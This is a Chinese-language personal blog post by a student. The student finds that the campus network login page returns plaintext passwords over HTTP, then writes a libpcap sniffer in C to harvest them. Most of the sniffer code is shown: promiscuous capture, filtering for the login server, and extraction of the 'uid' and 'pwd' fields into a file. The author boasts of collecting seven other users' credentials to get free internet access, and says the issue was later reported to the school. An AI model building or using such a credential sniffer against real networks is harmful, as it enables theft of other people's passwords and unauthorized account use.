原創故事,大學生涯也快要收尾了,寫篇文章紀念一下。
也是第一次寫博客,好緊張啊,要怎樣寫才顯得低調不傲嬌呢?
先聲明,這次網絡密碼竊取不懷惡意,僅供學習實踐之用。
這一切要從好久好久以前,不知道什麼時候說起,先上截圖吧,
這是我們學校的校園網登錄界面,需要帳號密碼認證。按流量收費,一塊錢一個G啊,天天上網看大片的我一個月就是好幾十,簡直把生活水平都拉昇了一個數量級了不是?
這都不是重點,重點是這五秒倒計時。五秒啊喂,每次都要等5秒纔可以登錄啊!雖說是可以防止暴力攻擊,但絕對拉低用戶體驗了。作爲一個資深懶癌患者加菜鳥程序員學渣,這五秒簡直就不能忍啊對不對?(其實已經默默的忍了兩年多了)
終於有一天忍不下去了,於是翻了一下網頁代碼,呵呵,果然在這:
改成var remain=0,保存網頁,打開網頁:
可以跳過5秒直接登錄了有木有?果斷登錄成功!
說了這麼多都不是重點,下面開始進入正題:
繼續瀏覽一下返回的網頁代碼,我擦,這是什麼鬼?(紅圈裏面)
這TM不是老子的帳號和密碼麼?我費心費力保護得那麼好,你TM就給我明文的寫到網頁代碼裏面?而且連個https都捨不得用,http網頁明文傳輸啊喂!
等等,我好像發現了什麼?明文密碼+明文傳輸!那不是等於服務器一直在對外面喊,xx的帳號是xxx,密碼是xxxx!既然如此那我也來聽聽?
啓動神器wireshark!
果然,再清楚不過了!雖然能成功了,總不能每次聽個密碼還要開個wireshark吧?神器是留着用來做大事的,對付偷聽密碼這種小事就交給小工具就好了。
好,那我就來寫個專業偷聽器,咳,不對,是非專業網絡監控助手!
開發環境Ubuntu14.10,加libcap庫!
這是主函數:
int main(){
char *dev,errbuf[256];
pcap_t *handle;
struct pcap_pkthdr hdr;
const u_char *packet;
dev=pcap_lookupdev(errbuf);
if(dev==NULL)
{printf("%s",errbuf);
exit(1);
}else
printf("dev:%s\n",dev);
handle = pcap_open_live(dev, 1024, 1, 1000, errbuf);
pcap_loop(handle,-1,deal,NULL);
exit(0);
}
先用pcap_lookupdev()查找到當前使用的網絡設備;然後pcap_open_live()打開網卡開始監聽,這裏需要以混雜模式使用網卡,這樣才能監聽到其他主機的網絡流量(當然,要在同一個碰撞域中);pcap_loop()是一個循環函數,每次收到一個數據包啓動回調函數deal處理數據。
回調函數就不給出完整的了,防止有腳本小子用來幹壞事。主要講一下過程吧:
數據包處理無非就是一層一層剝衣服的過程,先去掉數據鏈路層,再去掉ip頭,再是傳輸層頭(tcp頭或者udp頭)。這裏就是見證指針威力的時候了,
const struct ethhdr *ethhead;
const struct iphdr *iphead;
const struct tcphdr *tcphead;
ethhead=(struct ethhdr*)(packet);
iphead=(struct iphdr*)(packet+14);
char ipl = (iphead->ip_vhl) & 0x0f;
int iplen = ipl;
tcphead=(struct tcphdr*)(packet+14+iplen*4);
char tcpl=((tcphead->th_offx2) & 0xf0) >> 4;
int tcplen=tcpl;
根據這幾個頭我們可以提前過濾調一些我們不需要的數據包:
先過濾調非ip協議的數據包:
if(0x06!=iphead->ip_p)
return;
然後濾掉非http協議的數據包,這裏我們用端口號是否爲80來識別:
if(80!=ntohs(tcphead->th_sport))
return;
然後過濾掉非目標服務器發來的數據包:if((!strcmp(inet_ntoa(iphead->ip_src),"xx.xx.xx.xx")))
return;
根據剛纔看到的網頁代碼的特點,我們從http裏面過濾出用戶帳號和密碼字段就OK了。
int i,c;
char* buff = (char*)(packet +54);
FILE *fp;
for (c = 0; c < (pkthdr->len-54); c++)
{//putchar(buff[c]);
if (buff[c] == 'u'&&buff[c+1] == 'i'&&buff[c+2] == 'd'&&buff[c+3] == '='&&buff[c+4] == '\'')
{if((fp=fopen("BlackCount.txt","a"))==NULL)
return;
for (i = 0; buff[c + 5 + i] != '\''&&i < 20; i++)
{putchar(buff[c + 5 + i]);
fputc( buff[c + 5 + i], fp );}
putchar('-');
fputc('-', fp );
fclose(fp);
}
if (buff[c] == 'p'&&buff[c + 1] == 'w'&&buff[c + 2] == 'd'&&buff[c + 3] == '='&&buff[c + 4] == '\'')
{if((fp=fopen("BlackCount.txt","a"))==NULL)
return;
for (i = 0; buff[c + 5 + i] != '\''&&i < 20; i++)
{putchar(buff[c + 5 + i]);
fputc( buff[c + 5 + i], fp );}
putwchar('\n');
fputc('\n', fp );
fclose(fp);
printf("\n-------------------------------------------\n\n\n");
}
}
這裏把獵獲的帳號和密碼自動寫到文件裏面。
好!大功告成,現在來小試一下牛刀。沒多久的功夫收穫7個有木有,媽媽再也不用擔心我沒網費了~
本着科學上網的原則,最後我還是給學校有關部門發了封郵件,報告了這個情況。
最後,附上我最喜歡的數據包頭結體構定義,以後剝數據包都靠它了:
#include <sys/types.h>
#include <arpa/inet.h>
/* 以太網的地址佔6字節 */
#define ETHER_ADDR_LEN 6
/* 以太網頭 */
struct ethhdr {
u_char ether_dhost[ETHER_ADDR_LEN]; /* 目的地址 */
u_char ether_shost[ETHER_ADDR_LEN]; /* 源地址 */
u_short ether_type; /* IP? ARP? RARP? 等 */
};
/* IP 頭 */
struct iphdr {
u_char ip_vhl; /* version << 4 | header length >> 2 */
u_char ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4)
/* TCP 頭 */
struct tcphdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
//tcp_seq th_seq; /* sequence number */
//tcp_seq th_ack; /* acknowledgement number */
int32_t th_seq; /* sequence number */
int32_t th_ack; /* acknowledgement number */
u_char th_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};